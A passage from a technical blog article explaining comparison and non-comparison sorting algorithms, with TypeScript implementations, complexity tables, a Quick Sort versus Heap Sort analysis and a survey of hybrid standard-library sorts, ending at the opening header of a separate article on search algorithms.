**Design rationale**: Bubble Sort repeatedly swaps adjacent elements if they're in wrong order. Largest elements "bubble up" to the end with each pass. The algorithm exists primarily for educational purposes—its simplicity makes it ideal for teaching sorting concepts, but its O(n²) time makes it impractical for production use.

```typescript collapse={1-4, 14-16}
function bubbleSort(arr: number[]): number[] {
  const n = arr.length
  for (let i = 0; i < n - 1; i++) {
    let swapped = false
    // Inner loop: compare adjacent pairs
    for (let j = 0; j < n - i - 1; j++) {
      if (arr[j] > arr[j + 1]) {
        ;[arr[j], arr[j + 1]] = [arr[j + 1], arr[j]]
        swapped = true
      }
    }
    if (!swapped) break // Optimization: early exit if sorted
  }
  return arr
}
```

| Property | Value                                |
| -------- | ------------------------------------ |
| Time     | O(n²) worst/avg, O(n) best (sorted)  |
| Space    | O(1)                                 |
| Stable   | Yes                                  |
| In-place | Yes                                  |
| Use case | Educational, detecting sorted arrays |

**Why the `swapped` flag exists**: Without it, Bubble Sort always runs O(n²) even on sorted input. The flag enables O(n) detection of already-sorted arrays—one of Bubble Sort's few practical uses.

**When to actually use it**: Almost never in production. The only legitimate scenarios are: (1) teaching sorting fundamentals, (2) checking if an array is already sorted (though a simple linear scan is clearer), or (3) extremely memory-constrained embedded systems with n < 10 where code size matters more than performance.

### Selection Sort

**Design rationale**: Selection Sort finds the minimum element and places it at the beginning, repeating for the remaining array. The key insight is that it performs exactly n-1 swaps regardless of input—making it optimal when write operations are expensive relative to comparisons.

```typescript collapse={1-3, 15-17}
function selectionSort(arr: number[]): number[] {
  const n = arr.length
  for (let i = 0; i < n - 1; i++) {
    let minIdx = i
    // Find minimum in unsorted portion
    for (let j = i + 1; j < n; j++) {
      if (arr[j] < arr[minIdx]) {
        minIdx = j
      }
    }
    // Single swap per iteration
    if (minIdx !== i) {
      ;[arr[i], arr[minIdx]] = [arr[minIdx], arr[i]]
    }
  }
  return arr
}
```

| Property | Value                            |
| -------- | -------------------------------- |
| Time     | O(n²) always                     |
| Space    | O(1)                             |
| Stable   | No (swapping breaks stability)   |
| In-place | Yes                              |
| Use case | Minimizing swaps (memory writes) |

**Why it's unstable**: When swapping the minimum with the current position, equal elements can change relative order. For example, sorting `[2a, 2b, 1]` swaps `2a` with `1`, producing `[1, 2b, 2a]`—the two 2s reversed.

**When to use it**: Flash memory (EEPROM, NAND) with limited write cycles—Selection Sort's exactly n-1 writes can extend device lifespan. Also valuable in robotics or warehouse automation where physically moving objects is expensive. Database systems sometimes use it when updating index pointers costs more than comparisons.

### Insertion Sort

**Design rationale**: Insertion Sort builds a sorted array one element at a time, inserting each element into its correct position within the already-sorted prefix. Its power lies in adaptivity—it does O(k) work where k is the number of inversions (out-of-order pairs). For nearly-sorted data, k ≈ n, giving O(n) performance.

```typescript collapse={1-3, 14-16}
function insertionSort(arr: number[]): number[] {
  const n = arr.length
  for (let i = 1; i < n; i++) {
    const key = arr[i]
    let j = i - 1
    // Shift elements right until correct position found
    while (j >= 0 && arr[j] > key) {
      arr[j + 1] = arr[j]
      j--
    }
    arr[j + 1] = key
  }
  return arr
}
```

| Property | Value                                    |
| -------- | ---------------------------------------- |
| Time     | O(n²) worst/avg, O(n) best               |
| Space    | O(1)                                     |
| Stable   | Yes                                      |
| In-place | Yes                                      |
| Adaptive | Yes - O(n + k) where k = inversions      |
| Use case | Small arrays, nearly sorted data, online |

**Why hybrid sorts use Insertion Sort for small subarrays**: For n < 20-50 elements, Insertion Sort's low overhead (no recursion, no function calls, tight inner loop) beats Quick Sort and Merge Sort despite worse asymptotic complexity. The crossover point depends on hardware but typically falls in the 16-64 element range.

**Online sorting**: Insertion Sort processes elements as they arrive—each new element is inserted into the sorted portion in O(n) worst case. This makes it suitable for real-time systems where data streams continuously and you need a sorted view at any moment.

**Cache behavior**: The inner loop shifts elements sequentially through memory, maximizing L1 cache hits. Combined with branch predictability (the while condition becomes consistent after a few iterations), this makes Insertion Sort remarkably fast on small arrays.

### Merge Sort

**Design rationale**: Merge Sort uses divide-and-conquer: split the array in half, recursively sort each half, then merge the sorted halves. The key insight is that merging two sorted arrays takes O(n) time with O(n) space—trading memory for guaranteed O(n log n) worst-case performance and stability.

```typescript collapse={1-10, 18-27}
function mergeSort(arr: number[]): number[] {
  if (arr.length <= 1) return arr

  const mid = Math.floor(arr.length / 2)
  const left = mergeSort(arr.slice(0, mid))
  const right = mergeSort(arr.slice(mid))

  return merge(left, right)
}

function merge(left: number[], right: number[]): number[] {
  const result: number[] = []
  let i = 0,
    j = 0

  // Key: use <= for stability (equal elements from left come first)
  while (i < left.length && j < right.length) {
    if (left[i] <= right[j]) {
      result.push(left[i++])
    } else {
      result.push(right[j++])
    }
  }

  return result.concat(left.slice(i)).concat(right.slice(j))
}
```

| Property       | Value                                            |
| -------------- | ------------------------------------------------ |
| Time           | O(n log n) always                                |
| Space          | O(n)                                             |
| Stable         | Yes                                              |
| In-place       | No                                               |
| Parallelizable | Yes - independent subproblems                    |
| Use case       | Linked lists, external sorting, stability needed |

**Why O(n) space is unavoidable for array-based stable sorting**: To maintain stability while merging, you must preserve the relative order of equal elements. This requires comparing elements from both halves without modifying either until the comparison is complete—necessitating auxiliary storage.

**Linked list optimization**: For linked lists, merge requires only O(1) extra space—you just rewire node pointers rather than copying elements. This makes Merge Sort optimal for linked list sorting.

**External sorting**: When data exceeds RAM, Merge Sort's sequential access pattern (read chunks, sort in memory, write sorted chunks, k-way merge) minimizes disk seeks. Database systems (PostgreSQL, MySQL) use merge-based algorithms for large result sets.

**Bottom-up variant**: Iterative Merge Sort avoids recursion overhead by starting with size-1 subarrays and doubling the merge size each pass. Same O(n log n) time, but eliminates O(log n) stack frames.

### Quick Sort

**Design rationale**: Quick Sort picks a pivot element, partitions the array so smaller elements are left of the pivot and larger elements are right, then recursively sorts the partitions. Its power comes from in-place partitioning with excellent cache locality—sequential memory access during partition makes it 2-3× faster than Heap Sort in practice despite similar Big-O.

```typescript collapse={1-10}
function quickSort(arr: number[], low: number = 0, high: number = arr.length - 1): number[] {
  if (low < high) {
    const pivotIdx = partition(arr, low, high)
    quickSort(arr, low, pivotIdx - 1)
    quickSort(arr, pivotIdx + 1, high)
  }
  return arr
}

// Lomuto partition scheme - simpler but ~3× more swaps than Hoare
function partition(arr: number[], low: number, high: number): number {
  const pivot = arr[high]
  let i = low - 1

  for (let j = low; j < high; j++) {
    if (arr[j] < pivot) {
      i++
      ;[arr[i], arr[j]] = [arr[j], arr[i]]
    }
  }
  ;[arr[i + 1], arr[high]] = [arr[high], arr[i + 1]]
  return i + 1
}
```

| Property | Value                           |
| -------- | ------------------------------- |
| Time     | O(n log n) avg, O(n²) worst     |
| Space    | O(log n) stack space            |
| Stable   | No                              |
| In-place | Yes                             |
| Use case | General purpose, cache-friendly |

**Pivot selection strategies and their trade-offs**:

| Strategy          | Worst Case Trigger          | Overhead | Use When                   |
| ----------------- | --------------------------- | -------- | -------------------------- |
| First/Last        | Sorted/reverse input        | O(1)     | Never in production        |
| Random            | Astronomically unlikely     | O(1)     | Default choice             |
| Median-of-three   | Crafted adversarial         | O(1)     | Known random input         |
| Median-of-medians | None (guaranteed O(n lg n)) | O(n)     | Adversarial input possible |

**3-Way Partition (Dutch National Flag Problem)**: Essential for arrays with many duplicates. Standard 2-way partition degrades to O(n²) when all elements are equal; 3-way partition handles this in O(n) by grouping equal elements in the middle.

```typescript collapse={1-6, 22-25}
function quickSort3Way(arr: number[], low: number, high: number): void {
  if (low >= high) return

  let lt = low // arr[low..lt-1] < pivot
  let gt = high // arr[gt+1..high] > pivot
  let i = low + 1
  const pivot = arr[low]

  // Partition into: <pivot | ==pivot | >pivot
  while (i <= gt) {
    if (arr[i] < pivot) {
      ;[arr[lt], arr[i]] = [arr[i], arr[lt]]
      lt++
      i++
    } else if (arr[i] > pivot) {
      ;[arr[i], arr[gt]] = [arr[gt], arr[i]]
      gt--
    } else {
      i++
    }
  }

  quickSort3Way(arr, low, lt - 1)
  quickSort3Way(arr, gt + 1, high)
}
```

**Why Quick Sort dominates production sorting**: C++ `std::sort()` (Introsort), Go's `sort.Sort()` (pdqsort since Go 1.19), and Rust's `sort_unstable` all use Quick Sort variants. The combination of in-place sorting, cache-friendly access, and predictable branch behavior makes it 2-3× faster than alternatives on random data.

### Heap Sort

**Design rationale**: Heap Sort builds a max-heap from the array, then repeatedly extracts the maximum to build the sorted array from the end. It's the only comparison sort that's both in-place (O(1) space) and guaranteed O(n log n)—no pathological inputs exist. The trade-off is poor cache locality: parent-child relationships (i, 2i+1, 2i+2) cause random memory access patterns.

```typescript collapse={1-6, 18-31}
function heapSort(arr: number[]): number[] {
  const n = arr.length

  // Build max-heap bottom-up in O(n) time
  for (let i = Math.floor(n / 2) - 1; i >= 0; i--) {
    heapify(arr, n, i)
  }

  // Extract max n times: O(n log n)
  for (let i = n - 1; i > 0; i--) {
    ;[arr[0], arr[i]] = [arr[i], arr[0]]
    heapify(arr, i, 0)
  }

  return arr
}

function heapify(arr: number[], n: number, i: number): void {
  let largest = i
  const left = 2 * i + 1
  const right = 2 * i + 2

  if (left < n && arr[left] > arr[largest]) largest = left
  if (right < n && arr[right] > arr[largest]) largest = right

  if (largest !== i) {
    ;[arr[i], arr[largest]] = [arr[largest], arr[i]]
    heapify(arr, n, largest)
  }
}
```

| Property       | Value                          |
| -------------- | ------------------------------ |
| Time           | O(n log n) always              |
| Space          | O(1)                           |
| Stable         | No                             |
| In-place       | Yes                            |
| Cache-friendly | No - random access pattern     |
| Use case       | Guaranteed O(n log n) in-place |

**Why build-heap is O(n), not O(n log n)**: Intuition suggests n insertions at O(log n) each = O(n log n). But bottom-up heapify does less work: most nodes are near the bottom (height 0-1), few are at the top. Summing the work: $\sum_{h=0}^{\log n} \frac{n}{2^{h+1}} \cdot O(h) = O(n)$.

**Why Heap Sort loses to Quick Sort in practice**: The parent-child index relationships (i → 2i+1, 2i+2) cause cache misses. For a 10M element array, parent and children are ~5M indices apart—far beyond any cache line. Branch prediction also suffers: the comparison `arr[left] > arr[largest]` vs `arr[right] > arr[largest]` is essentially random.

**When to use Heap Sort**: (1) Real-time systems where O(n²) worst-case is unacceptable and you can't afford O(n) auxiliary space. (2) Partial sorting—finding top-k elements in O(n + k log n). (3) Priority queue operations where you need repeated extract-min/max.

## Non-Comparison Sorting

Non-comparison sorts break the Ω(n log n) barrier by examining element values directly rather than comparing pairs. The trade-off: they require constraints on input type (integers, fixed-width keys, uniform distribution).

### Counting Sort

**Design rationale**: Counting Sort counts occurrences of each distinct value, then uses cumulative counts to place elements in their final positions. It achieves O(n + k) time where k is the value range—faster than comparison sorts when k = O(n). The trade-off is O(k) space for the count array, making it impractical when k >> n.

```typescript collapse={1-10}
function countingSort(arr: number[]): number[] {
  if (arr.length === 0) return arr

  const max = Math.max(...arr)
  const min = Math.min(...arr)
  const range = max - min + 1
  const count = new Array(range).fill(0)
  const output = new Array(arr.length)

  // Phase 1: Count occurrences - O(n)
  for (const num of arr) {
    count[num - min]++
  }

  // Phase 2: Cumulative counts give final positions - O(k)
  for (let i = 1; i < range; i++) {
    count[i] += count[i - 1]
  }

  // Phase 3: Build output (backwards for stability) - O(n)
  for (let i = arr.length - 1; i >= 0; i--) {
    output[count[arr[i] - min] - 1] = arr[i]
    count[arr[i] - min]--
  }

  return output
}
```

| Property | Value                          |
| -------- | ------------------------------ |
| Time     | O(n + k) where k is range      |
| Space    | O(n + k)                       |
| Stable   | Yes (if implemented correctly) |
| Use case | Small range of integers        |

**Why iterate backwards for stability**: When placing elements, going backwards ensures that among equal values, the last one encountered (rightmost in original) goes to the highest index position. This preserves relative order.

**When k makes sense**: Counting Sort is optimal when k ≤ n. For exam scores (0-100) with 1000 students: O(1100) beats O(1000 × 10). For 32-bit integers (k = 4 billion): use Radix Sort instead.

**Real-world applications**: Image processing (8-bit pixels, k=256), grading systems (0-100), character frequency counting (k=26 for lowercase English), histogram generation.

### Radix Sort

**Design rationale**: Radix Sort processes elements digit-by-digit, using a stable sort (typically Counting Sort) as a subroutine. LSD (Least Significant Digit) Radix Sort processes from rightmost digit to leftmost; stability ensures earlier digits remain sorted when processing later digits. Time is O(d × (n + k)) where d is digit count and k is the radix (base)—effectively O(n) when d is constant.

```typescript collapse={1-5, 14-37}
function radixSort(arr: number[]): number[] {
  if (arr.length === 0) return arr

  const max = Math.max(...arr)

  // LSD: sort by each digit position, least significant first
  for (let exp = 1; Math.floor(max / exp) > 0; exp *= 10) {
    countingSortByDigit(arr, exp)
  }

  return arr
}

function countingSortByDigit(arr: number[], exp: number): void {
  const n = arr.length
  const output = new Array(n)
  const count = new Array(10).fill(0)

  for (const num of arr) {
    const digit = Math.floor(num / exp) % 10
    count[digit]++
  }

  for (let i = 1; i < 10; i++) {
    count[i] += count[i - 1]
  }

  for (let i = n - 1; i >= 0; i--) {
    const digit = Math.floor(arr[i] / exp) % 10
    output[count[digit] - 1] = arr[i]
    count[digit]--
  }

  for (let i = 0; i < n; i++) {
    arr[i] = output[i]
  }
}
```

| Property | Value                           |
| -------- | ------------------------------- |
| Time     | O(d × (n + k)) where d = digits |
| Space    | O(n + k)                        |
| Stable   | Yes                             |
| Use case | Fixed-length integers, strings  |

**LSD vs MSD (Most Significant Digit)**:

| Variant | Process Order | Stability Required | Best For                                   |
| ------- | ------------- | ------------------ | ------------------------------------------ |
| LSD     | Right → Left  | Yes (critical)     | Fixed-width integers                       |
| MSD     | Left → Right  | Not required       | Variable-length strings, early termination |

**Why LSD needs stability**: After sorting by units digit, `[170, 45, 75, 90]` becomes `[170, 90, 45, 75]`. When sorting by tens digit, 170 and 75 both have tens digit 7. Stability ensures 170 stays before 75 (preserving the units-digit order).

**Choosing the radix**: Base 10 is intuitive but not optimal. Base 256 (byte-based) reduces passes for 32-bit integers from 10 to 4, at the cost of larger count arrays. For 64-bit integers, 8 passes with base 256 is typically faster than 20 passes with base 10.

**Real-world applications**: IP address sorting (4 passes, base 256), suffix array construction in bioinformatics (DNA alphabet k=4), timestamp sorting (8 passes for 64-bit Unix timestamps).

### Bucket Sort

**Design rationale**: Bucket Sort distributes elements into buckets based on their value, sorts each bucket (typically with Insertion Sort), then concatenates results. It achieves O(n) expected time when elements are uniformly distributed—each bucket contains O(1) elements on average, making per-bucket sorting O(1). The trade-off: skewed distributions degrade to O(n²) when many elements land in one bucket.

```typescript collapse={1-5, 17-18}
function bucketSort(arr: number[], bucketCount: number = 10): number[] {
  if (arr.length === 0) return arr

  const min = Math.min(...arr)
  const max = Math.max(...arr)
  const bucketSize = (max - min) / bucketCount + 1
  const buckets: number[][] = Array.from({ length: bucketCount }, () => [])

  // Distribute: O(n)
  for (const num of arr) {
    const idx = Math.floor((num - min) / bucketSize)
    buckets[Math.min(idx, bucketCount - 1)].push(num)
  }

  // Sort + concatenate: O(n) expected if uniform
  return buckets.flatMap((bucket) => insertionSort(bucket))
}
```

| Property | Value                                |
| -------- | ------------------------------------ |
| Time     | O(n) expected, O(n²) worst           |
| Space    | O(n + k) where k = bucket count      |
| Stable   | Depends on bucket sorting algorithm  |
| Use case | Uniformly distributed floating point |

**Why uniform distribution matters**: With n elements and n buckets, uniform distribution means each bucket gets ~1 element (expected). Insertion Sort on 1-element arrays is O(1). Total: O(n) distribution + O(n × 1) sorting = O(n). Skewed distribution (all elements in one bucket) degrades to O(n²) Insertion Sort.

**Choosing bucket count**: Too few buckets → many elements per bucket → slower sorting. Too many buckets → wasted space + overhead. Rule of thumb: use n buckets for n elements when distribution is uniform.

**Stability**: Bucket Sort is stable if the per-bucket sort is stable and elements are placed in buckets in order. Using stable Insertion Sort and processing buckets left-to-right preserves stability.

**Real-world applications**: Sorting uniformly distributed floats in [0,1) (graphics, random samples), sensor data with known ranges, geographic coordinates within bounded regions.

## Algorithm Comparison

### Quick Reference Table

| Algorithm      | Best       | Average    | Worst      | Space    | Stable | Adaptive |
| -------------- | ---------- | ---------- | ---------- | -------- | ------ | -------- |
| Bubble Sort    | O(n)       | O(n²)      | O(n²)      | O(1)     | Yes    | Yes      |
| Selection Sort | O(n²)      | O(n²)      | O(n²)      | O(1)     | No     | No       |
| Insertion Sort | O(n)       | O(n²)      | O(n²)      | O(1)     | Yes    | Yes      |
| Merge Sort     | O(n log n) | O(n log n) | O(n log n) | O(n)     | Yes    | No       |
| Quick Sort     | O(n log n) | O(n log n) | O(n²)      | O(log n) | No     | No       |
| Heap Sort      | O(n log n) | O(n log n) | O(n log n) | O(1)     | No     | No       |
| Counting Sort  | O(n + k)   | O(n + k)   | O(n + k)   | O(n + k) | Yes    | N/A      |
| Radix Sort     | O(dn)      | O(dn)      | O(dn)      | O(n + k) | Yes    | N/A      |
| Bucket Sort    | O(n)       | O(n)       | O(n²)      | O(n + k) | Yes\*  | N/A      |

\*Bucket Sort stability depends on the per-bucket sorting algorithm used.

### Decision Flowchart

<figure>

![Algorithm selection based on data constraints and requirements](./algorithm-selection-based-on-data-constraints-and-requirements.svg)

<figcaption>Algorithm selection based on data constraints and requirements</figcaption>
</figure>

## Why Quick Sort Beats Heap Sort in Practice

Both Quick Sort and Heap Sort are in-place, unstable, O(n log n) average-case algorithms. On paper, Heap Sort looks better with its O(n log n) **guaranteed** worst case. Yet Quick Sort is the preferred choice in most standard libraries. Here's why:

### 1. Cache Locality

**Quick Sort wins decisively here.**

```
Quick Sort: Sequential memory access during partition
┌───┬───┬───┬───┬───┬───┬───┬───┐
│ 3 │ 1 │ 4 │ 1 │ 5 │ 9 │ 2 │ 6 │  ← Scans left-to-right
└───┴───┴───┴───┴───┴───┴───┴───┘
  →   →   →   →   →   →   →   →

Heap Sort: Jumps between parent and children (2i+1, 2i+2)
┌───┬───┬───┬───┬───┬───┬───┬───┐
│ 0 │ 1 │ 2 │ 3 │ 4 │ 5 │ 6 │ 7 │  ← Index
└───┴───┴───┴───┴───┴───┴───┴───┘
  ↓───────↘───────↘
      ↓───────↘───────↘
          (Parent-child jumps cause cache misses)
```

- **Quick Sort**: The partition step scans the array sequentially. Adjacent elements are accessed together, maximizing L1/L2 cache hits.
- **Heap Sort**: Heapify jumps between index `i` and indices `2i+1`, `2i+2`. For large arrays, parent and children are far apart in memory, causing frequent cache misses.

**Real impact**: On modern CPUs, a cache miss costs 100-300 cycles ([Intel Optimization Manual](https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html)). Quick Sort's sequential access pattern can be 2-3x faster than Heap Sort for large arrays purely due to cache behavior.

### 2. Lower Constant Factors

Quick Sort does less work per element ([Sedgewick & Wayne, Algorithms 4th Ed](https://algs4.cs.princeton.edu/)):

| Operation          | Quick Sort        | Heap Sort            |
| ------------------ | ----------------- | -------------------- |
| Comparisons        | ~1.4n log n       | ~2n log n            |
| Swaps              | ~0.3n log n       | ~n log n             |
| Pointer arithmetic | Simple (i++, j--) | Complex (2i+1, 2i+2) |

```typescript
// Quick Sort partition - simple operations
while (arr[i] < pivot) i++    // Simple increment
while (arr[j] > pivot) j--    // Simple decrement

// Heap Sort heapify - more complex
left = 2 * i + 1              // Multiplication + addition
right = 2 * i + 2             // Multiplication + addition
if (left < n && arr[left] > arr[largest]) ...
if (right < n && arr[right] > arr[largest]) ...
```

### 3. Branch Prediction

Modern CPUs predict which way branches (if statements) will go. Mispredictions are costly (~15-20 cycles).

**Quick Sort**: After a few iterations, the CPU learns the pattern. Elements mostly go one way based on their relation to the pivot.

**Heap Sort**: The comparison `arr[left] > arr[largest]` vs `arr[right] > arr[largest]` is essentially random - the CPU can't predict which child is larger, causing frequent mispredictions.

```
Branch prediction success rate (approximate):
- Quick Sort partition: 90-95%
- Heap Sort heapify:    50-60%
```

### 4. Practical Worst Case is Avoidable

Quick Sort's O(n²) worst case sounds scary, but it's easily prevented:

```typescript
// Randomized pivot - O(n²) becomes astronomically unlikely
function partition(arr: number[], low: number, high: number): number {
  // Random pivot selection
  const randomIdx = low + Math.floor(Math.random() * (high - low + 1))
  ;[arr[randomIdx], arr[high]] = [arr[high], arr[randomIdx]]

  // ... rest of partition
}
```

**Probability analysis**:

- For O(n²) to occur, you need to consistently pick the worst pivot
- With random pivots, probability of O(n²) is approximately `1/n!`
- For n = 1000: probability ≈ 1 in 10^2567 (effectively impossible)

**Median-of-three** is another practical defense:

```typescript
// Pick median of first, middle, last
const mid = Math.floor((low + high) / 2)
if (arr[low] > arr[mid]) swap(arr, low, mid)
if (arr[low] > arr[high]) swap(arr, low, high)
if (arr[mid] > arr[high]) swap(arr, mid, high)
// Use arr[mid] as pivot
```

### 5. Space Complexity: O(1) vs O(log n) is Negligible

Theoretically, Heap Sort uses O(1) space while Quick Sort uses O(log n) for the recursion stack. In practice, this difference is meaningless:

| Array Size    | Quick Sort Stack Space | Actual Memory |
| ------------- | ---------------------- | ------------- |
| 1,000         | log₂(1000) ≈ 10 frames | ~200 bytes    |
| 1,000,000     | log₂(10⁶) ≈ 20 frames  | ~400 bytes    |
| 10,000,000    | log₂(10⁷) ≈ 24 frames  | ~480 bytes    |
| 1,000,000,000 | log₂(10⁹) ≈ 30 frames  | ~600 bytes    |

**Key insight**: Even for a billion elements, Quick Sort uses only ~600 bytes of stack space. When you're sorting gigabytes of data, 600 bytes is nothing.

For comparison, the array itself for 10 million 64-bit integers takes **80 MB**. The 400 bytes of stack space is 0.0005% of that.

### 6. Benchmark Reality

Typical benchmarks show Quick Sort 2-3x faster than Heap Sort:

```
Sorting 10,000,000 random integers (typical results):
┌─────────────┬──────────────┬─────────┐
│ Algorithm   │ Time (ms)    │ Ratio   │
├─────────────┼──────────────┼─────────┤
│ Quick Sort  │ ~800         │ 1.0x    │
│ Heap Sort   │ ~2000        │ 2.5x    │
│ Merge Sort  │ ~1200        │ 1.5x    │
└─────────────┴──────────────┴─────────┘
```

### When to Actually Use Heap Sort

Despite Quick Sort's advantages, Heap Sort has its place:

1. **Hard real-time systems**: When O(n²) worst case is absolutely unacceptable and you can't use extra space for Merge Sort
2. **Embedded systems**: When stack space is truly constrained (unusual today)
3. **Security-critical code**: When adversarial input could trigger Quick Sort's worst case (though randomized pivot largely solves this)
4. **Partial sorting**: Finding top-k elements with a heap is O(n log k)

### Summary: Quick Sort vs Heap Sort

| Factor            | Quick Sort        | Heap Sort    | Winner     |
| ----------------- | ----------------- | ------------ | ---------- |
| Cache locality    | Sequential access | Random jumps | Quick Sort |
| Comparisons       | ~1.4n log n       | ~2n log n    | Quick Sort |
| Swaps             | ~0.3n log n       | ~n log n     | Quick Sort |
| Branch prediction | Predictable       | Random       | Quick Sort |
| Worst case        | O(n²) (avoidable) | O(n log n)   | Heap Sort  |
| Space             | O(log n)          | O(1)         | Tie\*      |
| Practical speed   | Fast              | 2-3x slower  | Quick Sort |

\*The space difference is negligible in practice

**Bottom line**: Use Quick Sort (with randomized pivot) as your default. The theoretical worst case is a non-issue in practice, and the real-world performance gains from cache efficiency and lower constant factors are substantial.

## Production Hybrid Algorithms

Modern language runtimes don't use any single algorithm—they combine multiple approaches to exploit each algorithm's strengths while avoiding its weaknesses.

### Tim Sort (Python, Java Objects, JavaScript)

Tim Sort, developed by Tim Peters for Python in 2002, combines Merge Sort and Insertion Sort. It exploits a key observation: real-world data often contains pre-existing order ("runs").

**How it works**:

1. Scan the array for natural runs (already sorted sequences, including reversed ones which are flipped)
2. Ensure minimum run length (typically 32-64) by extending short runs with Insertion Sort
3. Merge runs using an optimized merge that includes "galloping mode" when one run dominates

**Why it's effective**: On random data, Tim Sort performs like Merge Sort. On partially sorted data (common in practice—appending to sorted lists, nearly-sorted databases), it approaches O(n) because natural runs require minimal merging.

### Introsort (C++ STL)

Introsort (introspective sort), invented by David Musser in 1997, starts with Quick Sort but monitors recursion depth. If depth exceeds 2 × log₂(n), it switches to Heap Sort to guarantee O(n log n) worst case. For small subarrays (typically n < 16), it uses Insertion Sort.

**Design insight**: Introsort gets Quick Sort's average-case speed (cache locality, low constant factors) with Heap Sort's worst-case guarantee—the best of both worlds.

### Pattern-Defeating Quicksort (pdqsort) (Go, Rust unstable)

pdqsort, created by Orson Peters, extends Introsort with pattern detection. It recognizes sorted, reverse-sorted, and equal-element sequences, handling them in O(n) time. It also uses BlockQuicksort's branchless partitioning for better branch prediction on random data.

**Adoption**: Go switched to pdqsort in Go 1.19 (via `slices.Sort` in Go 1.22+). Rust uses pdqsort for `sort_unstable`. Benchmarks show 2-60× speedup over traditional Quick Sort on patterned data.

### Language Standard Library Implementations

| Language   | Stable Sort        | Unstable Sort                      | Notes                                                                         |
| ---------- | ------------------ | ---------------------------------- | ----------------------------------------------------------------------------- |
| JavaScript | Tim Sort           | —                                  | Stable required since ES2019 ([V8 blog](https://v8.dev/features/stable-sort)) |
| Python     | Tim Sort           | —                                  | `list.sort()` and `sorted()` both stable                                      |
| Java       | Tim Sort (Objects) | Dual-pivot Quick Sort (primitives) | Objects need stability; primitives prioritize speed                           |
| C++        | —                  | Introsort                          | `std::stable_sort` uses Merge Sort; `std::sort` uses Introsort                |
| Go         | —                  | pdqsort                            | Since Go 1.19; `slices.Sort` in Go 1.22+                                      |
| Rust       | Tim Sort           | pdqsort                            | `sort()` vs `sort_unstable()`                                                 |

**Key insight**: Every production implementation is a hybrid. The choice reflects trade-offs: stability (Tim Sort for objects), raw speed (pdqsort for unstable), or guaranteed worst-case (Introsort).

### Parallel Sorting

For multi-core systems, parallelization can significantly reduce wall-clock time:

- **Merge Sort**: Natural parallelism—each recursive subproblem is independent. Split work across cores, then merge results.
- **Quick Sort**: Parallelize left and right partitions after each pivot selection. Less balanced than Merge Sort due to pivot variance.
- **Sample Sort**: Extension of Quick Sort for distributed systems. Sample elements to choose good splitters, distribute to processors, sort locally, merge.
- **Bitonic Sort**: O(n log² n) comparisons but highly parallel (O(log² n) parallel steps). Used in GPU sorting where massive parallelism compensates for extra work.

## Conclusion

Sorting algorithm selection depends on three factors: **data characteristics**, **system constraints**, and **requirements**.

For general-purpose sorting on comparable data, use your language's default—modern implementations (Tim Sort, Introsort, pdqsort) are highly optimized hybrids. For integers with bounded range, Counting Sort or Radix Sort achieve O(n). For stability, Merge Sort or Tim Sort. For guaranteed O(n log n) in O(1) space, Heap Sort.

The Ω(n log n) lower bound for comparison sorts is mathematical—you cannot do better without exploiting input structure. Non-comparison sorts (Counting, Radix, Bucket) trade generality for speed by examining values directly.

In practice, cache locality and branch prediction often matter more than asymptotic complexity. Quick Sort's 2-3× advantage over Heap Sort comes from sequential memory access, not Big-O. Profile before optimizing.

## Appendix

### Prerequisites

- Big-O notation and complexity analysis
- Basic data structures (arrays, linked lists, heaps)
- Understanding of recursion and divide-and-conquer strategies

### Terminology

- **Stable sort**: A sort that preserves the relative order of elements with equal keys
- **In-place sort**: A sort that uses O(1) or O(log n) auxiliary space (not counting the input array)
- **Adaptive sort**: A sort whose performance improves when input is partially sorted
- **Comparison sort**: A sort that only examines elements through pairwise comparisons
- **Non-comparison sort**: A sort that examines element values directly (digits, ranges)
- **Inversion**: A pair of elements (i, j) where i < j but arr[i] > arr[j]
- **Run**: A maximal sequence of consecutive elements that is already sorted

### Summary

- **Comparison sorts** are bounded by Ω(n log n)—proven via decision tree argument
- **Quick Sort** dominates general-purpose sorting due to cache locality and low constants, despite O(n²) worst case
- **Merge Sort** is preferred when stability or guaranteed O(n log n) is required
- **Heap Sort** is the only comparison sort that's both in-place and guaranteed O(n log n)
- **Non-comparison sorts** (Counting, Radix, Bucket) achieve O(n) with input constraints
- **Production sorts** (Tim Sort, Introsort, pdqsort) are hybrids that detect patterns and switch strategies

### References

**Specifications and Foundational Texts:**

- [Introduction to Algorithms (CLRS), 4th Edition](https://mitpress.mit.edu/9780262046305/introduction-to-algorithms/) - Chapter 8.1: Comparison sort lower bound proofs; Chapter 7: Quicksort; Chapter 6: Heapsort
- [Algorithms, 4th Edition (Sedgewick & Wayne)](https://algs4.cs.princeton.edu/) - Chapters 2.1-2.4: Sorting implementations with empirical analysis
- [The Art of Computer Programming, Vol. 3: Sorting and Searching](https://www-cs-faculty.stanford.edu/~knuth/taocp.html) - Knuth's definitive reference

**Algorithm Papers and Design Documents:**

- [Pattern-defeating Quicksort (pdqsort)](https://arxiv.org/abs/2106.05123) - Orson Peters' algorithm combining Quick Sort, Heap Sort, and pattern detection
- [Introsort (Wikipedia)](https://en.wikipedia.org/wiki/Introsort) - David Musser's 1997 introspective sort combining Quick Sort and Heap Sort
- [Tim Sort (Wikipedia)](https://en.wikipedia.org/wiki/Timsort) - Tim Peters' 2002 hybrid Merge Sort + Insertion Sort

**Implementation References:**

- [V8 Array.sort() Implementation](https://v8.dev/blog/array-sort) - JavaScript engine Tim Sort implementation details
- [V8 Stable Sort](https://v8.dev/features/stable-sort) - ECMAScript 2019 stable sort requirement
- [Go pdqsort Issue #50154](https://github.com/golang/go/issues/50154) - Go 1.19 pdqsort adoption discussion
- [pdqsort GitHub Repository](https://github.com/orlp/pdqsort) - Reference implementation

**Performance Analysis:**

- [Intel 64 and IA-32 Architectures Optimization Reference Manual](https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html) - CPU cache behavior, memory latency, branch prediction

---

## Search Algorithms: Linear, Binary, and Graph Traversal

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/programming-patterns/algorithms-foundations/search-algorithms-guide
**Category:** Programming & Patterns / Algorithms Foundations
**Description:** A comprehensive guide to search algorithms covering fundamental concepts, implementation details, performance characteristics, and real-world applications. Learn when to use each algorithm and understand the engineering trade-offs behind production search implementations.

# Search Algorithms: Linear, Binary, and Graph Traversal

A comprehensive guide to search algorithms covering fundamental concepts, implementation details, performance characteristics, and real-world applications. Learn when to use each algorithm and understand the engineering trade-offs behind production search implementations.

<figure>

![Search algorithm taxonomy showing array and graph search strategies with their complexity characteristics](./search-algorithm-taxonomy-showing-array-and-graph-search-strategies-with-their-c.svg)

